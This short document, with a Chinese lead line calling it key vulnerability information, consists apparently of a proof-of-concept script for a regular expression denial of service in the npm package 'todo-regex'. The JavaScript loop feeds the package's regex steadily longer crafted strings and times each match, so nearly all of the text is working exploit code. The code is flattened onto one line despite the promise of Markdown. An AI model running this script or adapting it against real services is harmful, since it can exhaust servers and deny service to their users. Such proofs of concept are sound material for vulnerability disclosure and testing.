以下是关于漏洞的关键信息，简洁地形式化为Markdown格式： javascript var re = require('todo-regex'); for(var i = 1; i <= 500000; i++) { var time = Date.now(); const attack_str = '<!--todo ' + ' '.repeat(i*10000) + '!'; attack_str.match(re()); var time_cost = Date.now() - time; console.log("attack_str.length: " + attack_str.length + ": " + time_cost + " ms"); }